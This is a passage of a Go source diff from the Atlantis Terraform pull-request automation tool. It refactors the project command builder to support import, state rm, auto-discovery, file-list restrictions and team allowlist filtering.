there may be multiple commands + // to be run. + BuildVersionCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) +} + +type ProjectImportCommandBuilder interface { + // BuildImportCommands builds project Import commands for this ctx and comment. If + // comment doesn't specify one project then there may be multiple commands + // to be run. + BuildImportCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) +} + +type ProjectStateCommandBuilder interface { + // BuildStateRmCommands builds project state rm commands for this ctx and comment. If + // comment doesn't specify one project then there may be multiple commands + // to be run. + BuildStateRmCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) +} + +//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_project_command_builder.go ProjectCommandBuilder + +// ProjectCommandBuilder builds commands that run on individual projects. +type ProjectCommandBuilder interface { + ProjectPlanCommandBuilder + ProjectApplyCommandBuilder + ProjectApprovePoliciesCommandBuilder + ProjectVersionCommandBuilder + ProjectImportCommandBuilder + ProjectStateCommandBuilder } // DefaultProjectCommandBuilder implements ProjectCommandBuilder. // This class combines the data from the comment and any atlantis.yaml file or // Atlantis server config and then generates a set of contexts. type DefaultProjectCommandBuilder struct { - ParserValidator *yaml.ParserValidator - ProjectFinder ProjectFinder - VCSClient vcs.Client - WorkingDir WorkingDir - WorkingDirLocker WorkingDirLocker - GlobalCfg valid.GlobalCfg - PendingPlanFinder *DefaultPendingPlanFinder - CommentBuilder CommentBuilder + // Parses and validates server-side repo config files and repo-level atlantis.yaml files. + ParserValidator *config.ParserValidator + // Determines which projects were modified in a given pull request. + ProjectFinder ProjectFinder + // Used to make API calls to a VCS host like GitHub or GitLab. + VCSClient vcs.Client + // Handles the workspace on disk for running commands. + WorkingDir WorkingDir + // Used to prevent multiple commands from executing at the same time for a single repo, pull, and workspace. + WorkingDirLocker WorkingDirLocker + // The final parsed version of the server-side repo config. + GlobalCfg valid.GlobalCfg + // Finds unapplied plans. + PendingPlanFinder *DefaultPendingPlanFinder + // Builds project command contexts for Atlantis commands. + ProjectCommandContextBuilder ProjectCommandContextBuilder + // User config option: Skip cloning the repo during autoplan if there are no changes to Terraform projects. SkipCloneNoChanges bool + // User config option: Enable the use of regular expressions to run plan/apply commands against defined project names. + EnableRegExpCmd bool + // User config option: Automatically merge pull requests after all plans have been successfully applied. + EnableAutoMerge bool + // User config option: Whether to run plan operations in parallel. + EnableParallelPlan bool + // User config option: Whether to run apply operations in parallel. + EnableParallelApply bool + // User config option: Enables auto-planning of projects when a module dependency in the same repository has changed. + AutoDetectModuleFiles string + // User config option: List of file patterns to to to check if a directory contains modified files. + AutoplanFileList string + // User config option: Format Terraform plan output into a markdown-diff friendly format for color-coding purposes. + EnableDiffMarkdownFormat bool + // User config option: Block plan requests from projects outside the files modified in the pull request. + RestrictFileList bool + // User config option: Ignore PR if none of the modified files are part of a project. + SilenceNoProjects bool + // User config option: Include git untracked files in the modified file list. + IncludeGitUntrackedFiles bool + // User config option: Controls auto-discovery of projects in a repository. + AutoDiscoverMode string + // Handles the actual running of Terraform commands. + TerraformExecutor tfclient.Client } // See ProjectCommandBuilder.BuildAutoplanCommands. -func (p *DefaultProjectCommandBuilder) BuildAutoplanCommands(ctx *CommandContext) ([]models.ProjectCommandContext, error) { - projCtxs, err := p.buildPlanAllCommands(ctx, nil, false) +func (p *DefaultProjectCommandBuilder) BuildAutoplanCommands(ctx *command.Context) ([]command.ProjectContext, error) { + projCtxs, err := p.buildAllCommandsByCfg(ctx, command.Plan, "", nil, false) if err != nil { return nil, err } - var autoplanEnabled []models.ProjectCommandContext + var autoplanEnabled []command.ProjectContext for _, projCtx := range projCtxs { if !projCtx.AutoplanEnabled { - ctx.Log.Debug("ignoring project at dir %q, workspace: %q because autoplan is disabled", projCtx.RepoRelDir, projCtx.Workspace) + ctx.Log.Debug("ignoring project at dir '%s', workspace: '%s' because autoplan is disabled", projCtx.RepoRelDir, projCtx.Workspace) continue } autoplanEnabled = append(autoplanEnabled, projCtx) @@ -82,64 +270,208 @@ func (p *DefaultProjectCommandBuilder) BuildAutoplanCommands(ctx *CommandContext } // See ProjectCommandBuilder.BuildPlanCommands. -func (p *DefaultProjectCommandBuilder) BuildPlanCommands(ctx *CommandContext, cmd *CommentCommand) ([]models.ProjectCommandContext, error) { +func (p *DefaultProjectCommandBuilder) BuildPlanCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { if !cmd.IsForSpecificProject() { - return p.buildPlanAllCommands(ctx, cmd.Flags, cmd.Verbose) + ctx.Log.Debug("Building plan command for all affected projects") + return p.buildAllCommandsByCfg(ctx, cmd.CommandName(), cmd.SubName, cmd.Flags, cmd.Verbose) } - pcc, err := p.buildProjectPlanCommand(ctx, cmd) - return []models.ProjectCommandContext{pcc}, err + ctx.Log.Debug("Building plan command for specific project with directory: '%v', workspace: '%v', project: '%v'", + cmd.RepoRelDir, cmd.Workspace, cmd.ProjectName) + return p.buildProjectPlanCommand(ctx, cmd) } // See ProjectCommandBuilder.BuildApplyCommands. -func (p *DefaultProjectCommandBuilder) BuildApplyCommands(ctx *CommandContext, cmd *CommentCommand) ([]models.ProjectCommandContext, error) { +func (p *DefaultProjectCommandBuilder) BuildApplyCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { if !cmd.IsForSpecificProject() { - return p.buildApplyAllCommands(ctx, cmd) + return p.buildAllProjectCommandsByPlan(ctx, cmd) } - pac, err := p.buildProjectApplyCommand(ctx, cmd) - return []models.ProjectCommandContext{pac}, err + return p.buildProjectCommand(ctx, cmd) } -// buildPlanAllCommands builds plan contexts for all projects we determine were -// modified in this ctx. -func (p *DefaultProjectCommandBuilder) buildPlanAllCommands(ctx *CommandContext, commentFlags []string, verbose bool) ([]models.ProjectCommandContext, error) { - // We'll need the list of modified files. - modifiedFiles, err := p.VCSClient.GetModifiedFiles(ctx.Pull.BaseRepo, ctx.Pull) +func (p *DefaultProjectCommandBuilder) BuildApprovePoliciesCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { + if !cmd.IsForSpecificProject() { + return p.buildAllProjectCommandsByPlan(ctx, cmd) + } + return p.buildProjectCommand(ctx, cmd) +} + +func (p *DefaultProjectCommandBuilder) BuildVersionCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { + if !cmd.IsForSpecificProject() { + return p.buildAllProjectCommandsByPlan(ctx, cmd) + } + return p.buildProjectCommand(ctx, cmd) +} + +func (p *DefaultProjectCommandBuilder) BuildImportCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { + if !cmd.IsForSpecificProject() { + // import discard a plan file, so use buildAllCommandsByCfg instead buildAllProjectCommandsByPlan. + return p.buildAllCommandsByCfg(ctx, cmd.CommandName(), cmd.SubName, cmd.Flags, cmd.Verbose) + } + return p.buildProjectCommand(ctx, cmd) +} + +func (p *DefaultProjectCommandBuilder) BuildStateRmCommands(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { + if !cmd.IsForSpecificProject() { + // state rm discard a plan file, so use buildAllCommandsByCfg instead buildAllProjectCommandsByPlan. + return p.buildAllCommandsByCfg(ctx, cmd.CommandName(), cmd.SubName, cmd.Flags, cmd.Verbose) + } + return p.buildProjectCommand(ctx, cmd) +} + +// shouldSkipClone determines whether we should skip cloning for a given context +func (p *DefaultProjectCommandBuilder) shouldSkipClone(ctx *command.Context, modifiedFiles []string) (bool, error) { + // NOTE: We discard this work here and end up doing it again after + // cloning to ensure all the return values are set properly with + // the actual clone directory. + + if !p.SkipCloneNoChanges || !p.VCSClient.SupportsSingleFileDownload(ctx.Pull.BaseRepo) { + return false, nil + } + repoCfgFile := p.GlobalCfg.RepoConfigFile(ctx.Pull.BaseRepo.ID()) + hasRepoCfg, repoCfgData, err := p.VCSClient.GetFileContent(ctx.Log, ctx.Pull, repoCfgFile) if err != nil { - return nil, err + return false, errors.Wrapf(err, "downloading %s", repoCfgFile) + } + // We can only skip if we determine that none of the modified files belong to projects configured in a repo config + if !hasRepoCfg { + return false, nil + } + repoCfg, err := p.ParserValidator.ParseRepoCfgData(repoCfgData, p.GlobalCfg, ctx.Pull.BaseRepo.ID(), ctx.Pull.BaseBranch) + if err != nil { + return false, errors.Wrapf(err, "parsing %s", repoCfgFile) + } + ctx.Log.Info("successfully parsed remote %s file", repoCfgFile) + + // If auto discover is enabled, we never want to skip cloning + if p.autoDiscoverModeEnabled(ctx, repoCfg) { + ctx.Log.Info("automatic project discovery enabled. Will resume automatic detection") + return false, nil } - ctx.Log.Debug("%d files were modified in this pull request", len(modifiedFiles)) - if p.SkipCloneNoChanges && p.VCSClient.SupportsSingleFileDownload(ctx.Pull.BaseRepo) { - hasRepoCfg, repoCfgData, err := p.VCSClient.DownloadRepoConfigFile(ctx.Pull) + if len(repoCfg.Projects) == 0 { + ctx.Log.Info("no projects are defined in %s. Will resume automatic detection", repoCfgFile) + return false, nil + } + + matchingProjects, err := p.ProjectFinder.DetermineProjectsViaConfig(ctx.Log, modifiedFiles, repoCfg, "", nil) + if err != nil { + return false, err + } + + ctx.Log.Info("%d projects are changed on MR %d based on their when_modified config", len(matchingProjects), ctx.Pull.Num) + if len(matchingProjects) == 0 { + ctx.Log.Info("skipping repo clone since no project was modified") + return true, nil + } + + return false, nil + +} + +// autoDiscoverModeEnabled determines whether to use autodiscover +func (p *DefaultProjectCommandBuilder) autoDiscoverModeEnabled(ctx *command.Context, repoCfg valid.RepoCfg) bool { + defaultAutoDiscoverMode := valid.AutoDiscoverMode(p.AutoDiscoverMode) + globalAutoDiscover := p.GlobalCfg.RepoAutoDiscoverCfg(ctx.Pull.BaseRepo.ID()) + if globalAutoDiscover != nil { + defaultAutoDiscoverMode = globalAutoDiscover.Mode + } + return repoCfg.AutoDiscoverEnabled(defaultAutoDiscoverMode) +} + +// getMergedProjectCfgs gets all merged project configs for building commands given a context and a clone repo +func (p *DefaultProjectCommandBuilder) getMergedProjectCfgs(ctx *command.Context, repoDir string, modifiedFiles []string, repoCfg valid.RepoCfg) ([]valid.MergedProjectCfg, error) { + mergedCfgs := make([]valid.MergedProjectCfg, 0) + + moduleInfo, err := FindModuleProjects(repoDir, p.AutoDetectModuleFiles) + if err != nil { + ctx.Log.Warn("error(s) loading project module dependencies: %s", err) + } + ctx.Log.Debug("moduleInfo for '%s' (matching '%s') = %v", repoDir, p.AutoDetectModuleFiles, moduleInfo) + + if len(repoCfg.Projects) > 0 { + matchingProjects, err := p.ProjectFinder.DetermineProjectsViaConfig(ctx.Log, modifiedFiles, repoCfg, repoDir, moduleInfo) if err != nil { - return nil, errors.Wrapf(err, "downloading %s", yaml.AtlantisYAMLFilename) + return nil, err } + ctx.Log.Info("%d projects are to be planned based on their when_modified config", len(matchingProjects)) - if hasRepoCfg { - repoCfg, err := p.ParserValidator.ParseRepoCfgData(repoCfgData, p.GlobalCfg, ctx.Pull.BaseRepo.ID()) - if err != nil { - return nil, errors.Wrapf(err, "parsing %s", yaml.AtlantisYAMLFilename) + for _, mp := range matchingProjects { + ctx.Log.Debug("determining config for project at dir: '%s' workspace: '%s'", mp.Dir, mp.Workspace) + mergedCfg := p.GlobalCfg.MergeProjectCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), mp, repoCfg) + mergedCfgs = append(mergedCfgs, mergedCfg) + } + } + + if p.autoDiscoverModeEnabled(ctx, repoCfg) { + ctx.Log.Info("automatic project discovery enabled. Will run automatic detection") + + // build a module index for projects that are explicitly included + allModifiedProjects := p.ProjectFinder.DetermineProjects( + ctx.Log, modifiedFiles, ctx.Pull.BaseRepo.FullName, repoDir, p.AutoplanFileList, moduleInfo) + // If a project is already manually configured with the same dir as a discovered project, the manually configured + // project should take precedence + modifiedProjects := make([]models.Project, 0) + configuredProjDirs := make(map[string]bool) + // We compare against all configured projects instead of projects which match the modified files in case a + // project is being specifically excluded (ex: when_modified doesn't match). We don't want to accidentally + // "discover" it again. + for _, configProj := range repoCfg.Projects { + // Clean the path to make sure ./rel_path is equivalent to rel_path, etc + configuredProjDirs[filepath.Clean(configProj.Dir)] = true + } + for _, mp := range allModifiedProjects { + path := filepath.Clean(mp.Path) + if repoCfg.IsPathIgnoredForAutoDiscover(path) { + continue } - ctx.Log.Info("successfully parsed remote %s file", yaml.AtlantisYAMLFilename) - matchingProjects, err := p.ProjectFinder.DetermineProjectsViaConfig(ctx.Log, modifiedFiles, repoCfg, "") - if err != nil { - return nil, err + _, dirExists := configuredProjDirs[path] + if !dirExists { + modifiedProjects = append(modifiedProjects, mp) } - ctx.Log.Info("%d projects are changed on MR %q based on their when_modified config", len(matchingProjects), ctx.Pull.Num) - if len(matchingProjects) == 0 { - ctx.Log.Info("skipping repo clone since no project was modified") - return []models.ProjectCommandContext{}, nil + } + ctx.Log.Info("automatically determined that there were %d additional projects modified in this pull request: %s", + len(modifiedProjects), modifiedProjects) + for _, mp := range modifiedProjects { + ctx.Log.Debug("determining config for project at dir: '%s'", mp.Path) + absProjectDir := filepath.Join(repoDir, mp.Path) + pWorkspace, err := p.ProjectFinder.DetermineWorkspaceFromHCL(ctx.Log, absProjectDir) + if err != nil { + return nil, errors.Wrapf(err, "Looking for Terraform Cloud workspace from configuration in '%s'", absProjectDir) } - // NOTE: We discard this work here and end up doing it again after - // cloning to ensure all the return values are set properly with - // the actual clone directory. + + pCfg := p.GlobalCfg.DefaultProjCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), mp.Path, pWorkspace) + mergedCfgs = append(mergedCfgs, pCfg) + } + } + return mergedCfgs, nil +} + +// buildAllCommandsByCfg builds init contexts for all projects we determine were +// modified in this ctx. +func (p *DefaultProjectCommandBuilder) buildAllCommandsByCfg(ctx *command.Context, cmdName command.Name, subCmdName string, commentFlags []string, verbose bool) ([]command.ProjectContext, error) { + // We'll need the list of modified files. + modifiedFiles, err := p.VCSClient.GetModifiedFiles(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull) + if err != nil { + return nil, err + } + + ctx.Log.Debug("%d files were modified in this pull request. Modified files: %v", len(modifiedFiles), modifiedFiles) + + // If we're not including git untracked files, we can skip the clone if there are no modified files. + if !p.IncludeGitUntrackedFiles { + shouldSkipClone, err := p.shouldSkipClone(ctx, modifiedFiles) + if err != nil { + return nil, err + } + if shouldSkipClone { + return []command.ProjectContext{}, nil } } // Need to lock the workspace we're about to clone to. workspace := DefaultWorkspace - unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, workspace) + unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, workspace, DefaultRepoRelDir) if err != nil { ctx.Log.Warn("workspace was locked") return nil, err @@ -147,92 +479,293 @@ func (p *DefaultProjectCommandBuilder) buildPlanAllCommands(ctx *CommandContext, ctx.Log.Debug("got workspace lock") defer unlockFn() - repoDir, _, err := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, workspace) + repoDir, err := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, workspace) if err != nil { return nil, err } + + if p.IncludeGitUntrackedFiles { + ctx.Log.Debug(("'include-git-untracked-files' option is set, getting untracked files")) + untrackedFiles, err := p.WorkingDir.GetGitUntrackedFiles(ctx.Log, ctx.HeadRepo, ctx.Pull, DefaultWorkspace) + if err != nil { + return nil, err + } + modifiedFiles = append(modifiedFiles, untrackedFiles...) + } + // Parse config file if it exists. - hasRepoCfg, err := p.ParserValidator.HasRepoCfg(repoDir) + repoCfgFile := p.GlobalCfg.RepoConfigFile(ctx.Pull.BaseRepo.ID()) + hasRepoCfg, err := p.ParserValidator.HasRepoCfg(repoDir, repoCfgFile) if err != nil { - return nil, errors.Wrapf(err, "looking for %s file in %q", yaml.AtlantisYAMLFilename, repoDir) + return nil, errors.Wrapf(err, "looking for '%s' file in '%s'", repoCfgFile, repoDir) } - var projCtxs []models.ProjectCommandContext + var projCtxs []command.ProjectContext + var repoCfg valid.RepoCfg + if hasRepoCfg { - // If there's a repo cfg then we'll use it to figure out which projects + // If there's a repo cfg with projects then we'll use it to figure out which projects // should be planed. - repoCfg, err := p.ParserValidator.ParseRepoCfg(repoDir, p.GlobalCfg, ctx.Pull.BaseRepo.ID()) + repoCfg, err = p.ParserValidator.ParseRepoCfg(repoDir, p.GlobalCfg, ctx.Pull.BaseRepo.ID(), ctx.Pull.BaseBranch) if err != nil { - return nil, errors.Wrapf(err, "parsing %s", yaml.AtlantisYAMLFilename) + return nil, errors.Wrapf(err, "parsing %s", repoCfgFile) } - ctx.Log.Info("successfully parsed %s file", yaml.AtlantisYAMLFilename) - matchingProjects, err := p.ProjectFinder.DetermineProjectsViaConfig(ctx.Log, modifiedFiles, repoCfg, repoDir) - if err != nil { - return nil, err + ctx.Log.Info("successfully parsed %s file", repoCfgFile) + } else { + ctx.Log.Info("repo config file %s is absent, using global defaults", repoCfg) + } + + mergedProjectCfgs, err := p.getMergedProjectCfgs(ctx, repoDir, modifiedFiles, repoCfg) + if err != nil { + return nil, err + } + + automerge := p.EnableAutoMerge + parallelApply := p.EnableParallelApply + parallelPlan := p.EnableParallelPlan + abortOnExecutionOrderFail := DefaultAbortOnExecutionOrderFail + if hasRepoCfg { + if repoCfg.Automerge != nil { + automerge = *repoCfg.Automerge } - ctx.Log.Info("%d projects are to be planned based on their when_modified config", len(matchingProjects)) - for _, mp := range matchingProjects { - ctx.Log.Debug("determining config for project at dir: %q workspace: %q", mp.Dir, mp.Workspace) - mergedCfg := p.GlobalCfg.MergeProjectCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), mp, repoCfg) - projCtxs = append(projCtxs, p.buildCtx(ctx, models.PlanCommand, mergedCfg, commentFlags, repoCfg.Automerge, repoCfg.ParallelApply, repoCfg.ParallelPlan, verbose, repoDir)) + if repoCfg.ParallelApply != nil { + parallelApply = *repoCfg.ParallelApply } - } else { - // If there is no config file, then we'll plan each project that - // our algorithm determines was modified. - ctx.Log.Info("found no %s file", yaml.AtlantisYAMLFilename) - modifiedProjects := p.ProjectFinder.DetermineProjects(ctx.Log, modifiedFiles, ctx.Pull.BaseRepo.FullName, repoDir) - ctx.Log.Info("automatically determined that there were %d projects modified in this pull request: %s", len(modifiedProjects), modifiedProjects) - for _, mp := range modifiedProjects { - ctx.Log.Debug("determining config for project at dir: %q", mp.Path) - pCfg := p.GlobalCfg.DefaultProjCfg(ctx.Log, ctx.Pull.BaseRepo.ID(), mp.Path, DefaultWorkspace) - projCtxs = append(projCtxs, p.buildCtx(ctx, models.PlanCommand, pCfg, commentFlags, DefaultAutomergeEnabled, DefaultParallelApplyEnabled, DefaultParallelPlanEnabled, verbose, repoDir)) + if repoCfg.ParallelPlan != nil { + parallelPlan = *repoCfg.ParallelPlan } - } + abortOnExecutionOrderFail = repoCfg.AbortOnExecutionOrderFail + } + + for _, mergedProjectCfg := range mergedProjectCfgs { + projCtxs = append(projCtxs, + p.ProjectCommandContextBuilder.BuildProjectContext( + ctx, + cmdName, + subCmdName, + mergedProjectCfg, + commentFlags, + repoDir, + automerge, + parallelApply, + parallelPlan, + verbose, + abortOnExecutionOrderFail, + p.TerraformExecutor, + )...) + } + + sort.Slice(projCtxs, func(i, j int) bool { + return projCtxs[i].ExecutionOrderGroup < projCtxs[j].ExecutionOrderGroup + }) + + // Filter projects to only include ones the user is authorized for + projCtxs = slices.DeleteFunc(projCtxs, func(projCtx command.ProjectContext) bool { + if projCtx.TeamAllowlistChecker == nil || !projCtx.TeamAllowlistChecker.HasRules() { + // allowlist restriction is not enabled + return false + } + ctx := models.TeamAllowlistCheckerContext{ + BaseRepo: projCtx.BaseRepo, + CommandName: projCtx.CommandName.String(), + EscapedCommentArgs: projCtx.EscapedCommentArgs, + HeadRepo: projCtx.HeadRepo, + Log: projCtx.Log, + Pull: projCtx.Pull, + ProjectName: projCtx.ProjectName, + RepoDir: repoDir, + RepoRelDir: projCtx.RepoRelDir, + User: projCtx.User, + Verbose: projCtx.Verbose, + Workspace: projCtx.Workspace, + API: false, + } + return !projCtx.TeamAllowlistChecker.IsCommandAllowedForAnyTeam(ctx, projCtx.User.Teams, projCtx.CommandName.String()) + }) return projCtxs, nil } // buildProjectPlanCommand builds a plan context for a single project. // cmd must be for only one project. -func (p *DefaultProjectCommandBuilder) buildProjectPlanCommand(ctx *CommandContext, cmd *CommentCommand) (models.ProjectCommandContext, error) { +func (p *DefaultProjectCommandBuilder) buildProjectPlanCommand(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { workspace := DefaultWorkspace if cmd.Workspace != "" { workspace = cmd.Workspace } - var pcc models.ProjectCommandContext + var pcc []command.ProjectContext + ctx.Log.Debug("building plan command") - unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, workspace) + unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, workspace, DefaultRepoRelDir) if err != nil { return pcc, err } defer unlockFn() ctx.Log.Debug("cloning repository") - repoDir, _, err := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, workspace) + _, err = p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, DefaultWorkspace) + if err != nil { + return pcc, err + } + + // use the default repository workspace because it is the only one guaranteed to have an atlantis.yaml, + // other workspaces will not have the file if they are using pre_workflow_hooks to generate it dynamically + defaultRepoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, DefaultWorkspace) if err != nil { return pcc, err } + if p.RestrictFileList { + ctx.Log.Debug("'restrict-file-list' option is set, checking modified files") + modifiedFiles, err := p.VCSClient.GetModifiedFiles(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull) + if err != nil { + return nil, err + } + + if p.IncludeGitUntrackedFiles { + ctx.Log.Debug(("'include-git-untracked-files' option is set, getting untracked files")) + untrackedFiles, err := p.WorkingDir.GetGitUntrackedFiles(ctx.Log, ctx.HeadRepo, ctx.Pull, workspace) + if err != nil { + return nil, err + } + modifiedFiles = append(modifiedFiles, untrackedFiles...) + } + + ctx.Log.Debug("%d files were modified in this pull request. Modified files: %v", len(modifiedFiles), modifiedFiles) + + if cmd.RepoRelDir != "" { + ctx.Log.Debug("Command directory specified: %s", cmd.RepoRelDir) + foundDir := false + + for _, f := range modifiedFiles { + if filepath.Dir(f) == cmd.RepoRelDir { + foundDir = true + } + } + + if !foundDir { + return pcc, fmt.Errorf("the dir \"%s\" is not in the plan list of this pull request", cmd.RepoRelDir) + } + } + + if cmd.ProjectName != "" { + ctx.Log.Debug("Command project name specified: %s", cmd.ProjectName) + var notFoundFiles = []string{} + var repoConfig valid.RepoCfg + + repoConfig, err = p.ParserValidator.ParseRepoCfg(defaultRepoDir, p.GlobalCfg, ctx.Pull.BaseRepo.ID(), ctx.Pull.BaseBranch) + if err != nil { + return pcc, err + } + repoCfgProjects := repoConfig.FindProjectsByName(cmd.ProjectName) + + for _, f := range modifiedFiles { + foundDir := false + + for _, p := range repoCfgProjects { + if filepath.Dir(f) == p.Dir { + foundDir = true + } + } + + if !foundDir { + notFoundFiles = append(notFoundFiles, filepath.Dir(f)) + } + } + + if len(notFoundFiles) > 0 { + return pcc, fmt.Errorf("the following directories are present in the pull request but not in the requested project:\n%s", strings.Join(notFoundFiles, "\n")) + } + } + } + + if DefaultWorkspace != workspace { + ctx.Log.Debug("cloning repository with workspace %s", workspace) + _, err = p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, workspace) + if err != nil { + return pcc, err + } + } + repoRelDir := DefaultRepoRelDir if cmd.RepoRelDir != "" { repoRelDir = cmd.RepoRelDir } - return p.buildProjectCommandCtx(ctx, models.PlanCommand, cmd.ProjectName, cmd.Flags, repoDir, repoRelDir, workspace, cmd.Verbose) + return p.buildProjectCommandCtx( + ctx, + command.Plan, + "", + cmd.ProjectName, + cmd.Flags, + defaultRepoDir, + repoRelDir, + workspace, + cmd.Verbose, + ) } -// buildApplyAllCommands builds apply contexts for every project that has -// pending plans in this ctx. -func (p *DefaultProjectCommandBuilder) buildApplyAllCommands(ctx *CommandContext, commentCmd *CommentCommand) ([]models.ProjectCommandContext, error) { - // Lock all dirs in this pull request (instead of a single dir) because we - // don't know how many dirs we'll need to apply in. - unlockFn, err := p.WorkingDirLocker.TryLockPull(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num) +// getCfg returns the atlantis.yaml config (if it exists) for this project. If +// there is no config, then projectCfg and repoCfg will be nil. +func (p *DefaultProjectCommandBuilder) getCfg(ctx *command.Context, projectName string, dir string, workspace string, repoDir string) (projectsCfg []valid.Project, repoCfg *valid.RepoCfg, err error) { + repoCfgFile := p.GlobalCfg.RepoConfigFile(ctx.Pull.BaseRepo.ID()) + hasRepoCfg, err := p.ParserValidator.HasRepoCfg(repoDir, repoCfgFile) if err != nil { - return nil, err + err = errors.Wrapf(err, "looking for '%s' file in '%s'", repoCfgFile, repoDir) + return + } + if !hasRepoCfg { + if projectName != "" { + err = fmt.Errorf("cannot specify a project name unless an %s file exists to configure projects", repoCfgFile) + return + } + return } - defer unlockFn() + var repoConfig valid.RepoCfg + repoConfig, err = p.ParserValidator.ParseRepoCfg(repoDir, p.GlobalCfg, ctx.Pull.BaseRepo.ID(), ctx.Pull.BaseBranch) + if err != nil { + return + } + repoCfg = &repoConfig + + // If they've specified a project by name we look it up. Otherwise we + // use the dir and workspace. + if projectName != "" { + if p.EnableRegExpCmd { + projectsCfg = repoCfg.FindProjectsByName(projectName) + } else { + if p := repoCfg.FindProjectByName(projectName); p != nil { + projectsCfg = append(projectsCfg, *p) + } + } + if len(projectsCfg) == 0 { + if p.SilenceNoProjects && len(repoConfig.Projects) > 0 { + ctx.Log.Debug("no project with name '%s' found but silencing the error", projectName) + } else { + err = fmt.Errorf("no project with name '%s' is defined in '%s'", projectName, repoCfgFile) + } + return + } + return + } + + projCfgs := repoCfg.FindProjectsByDirWorkspace(dir, workspace) + if len(projCfgs) == 0 { + return + } + if len(projCfgs) > 1 { + err = fmt.Errorf("must specify project name: more than one project defined in '%s' matched dir: '%s' workspace: '%s'", repoCfgFile, dir, workspace) + return + } + projectsCfg = projCfgs + return +} + +// buildAllProjectCommandsByPlan builds contexts for a command for every project that has +// pending plans in this ctx. +func (p *DefaultProjectCommandBuilder) buildAllProjectCommandsByPlan(ctx *command.Context, commentCmd *CommentCommand) ([]command.ProjectContext, error) { pullDir, err := p.WorkingDir.GetPullDir(ctx.Pull.BaseRepo, ctx.Pull) if err != nil { return nil, err @@ -243,34 +776,54 @@ func (p *DefaultProjectCommandBuilder) buildApplyAllCommands(ctx *CommandContext return nil, err } - var cmds []models.ProjectCommandContext + // use the default repository workspace because it is the only one guaranteed to have an atlantis.yaml, + // other workspaces will not have the file if they are using pre_workflow_hooks to generate it dynamically + defaultRepoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, DefaultWorkspace) + if err != nil { + return nil, err + } + + var cmds []command.ProjectContext for _, plan := range plans { - cmd, err := p.buildProjectCommandCtx(ctx, models.ApplyCommand, plan.ProjectName, commentCmd.Flags, plan.RepoDir, plan.RepoRelDir, plan.Workspace, commentCmd.Verbose) + // Lock all the directories we need to run the command in + unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, plan.Workspace, plan.RepoRelDir) + if err != nil { + return nil, err + } + defer unlockFn() + commentCmds, err := p.buildProjectCommandCtx(ctx, commentCmd.CommandName(), commentCmd.SubName, plan.ProjectName, commentCmd.Flags, defaultRepoDir, plan.RepoRelDir, plan.Workspace, commentCmd.Verbose) if err != nil { - return nil, errors.Wrapf(err, "building command for dir %q", plan.RepoRelDir) + return nil, errors.Wrapf(err, "building command for dir '%s'", plan.RepoRelDir) } - cmds = append(cmds, cmd) + cmds = append(cmds, commentCmds...) } + + sort.Slice(cmds, func(i, j int) bool { + return cmds[i].ExecutionOrderGroup < cmds[j].ExecutionOrderGroup + }) + return cmds, nil } -// buildProjectApplyCommand builds an apply command for the single project -// identified by cmd. -func (p *DefaultProjectCommandBuilder) buildProjectApplyCommand(ctx *CommandContext, cmd *CommentCommand) (models.ProjectCommandContext, error) { +// buildProjectCommand builds an command for the single project +// identified by cmd except plan. +func (p *DefaultProjectCommandBuilder) buildProjectCommand(ctx *command.Context, cmd *CommentCommand) ([]command.ProjectContext, error) { workspace := DefaultWorkspace if cmd.Workspace != "" { workspace = cmd.Workspace } - var projCtx models.ProjectCommandContext - unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, workspace) + var projCtx []command.ProjectContext + unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, workspace, DefaultRepoRelDir) if err != nil { return projCtx, err } defer unlockFn() - repoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, workspace) - if os.IsNotExist(errors.Cause(err)) { + // use the default repository workspace because it is the only one guaranteed to have an atlantis.yaml, + // other workspaces will not have the file if they are using pre_workflow_hooks to generate it dynamically + repoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, DefaultWorkspace) + if errors.Is(err, os.ErrNotExist) { return projCtx, errors.New("no working directory found–did you run plan?") } else if err != nil { return projCtx, err @@ -281,97 +834,134 @@ func (p *DefaultProjectCommandBuilder) buildProjectApplyCommand(ctx *CommandCont repoRelDir = cmd.RepoRelDir } - return p.buildProjectCommandCtx(ctx, models.ApplyCommand, cmd.ProjectName, cmd.Flags, repoDir, repoRelDir, workspace, cmd.Verbose) + return 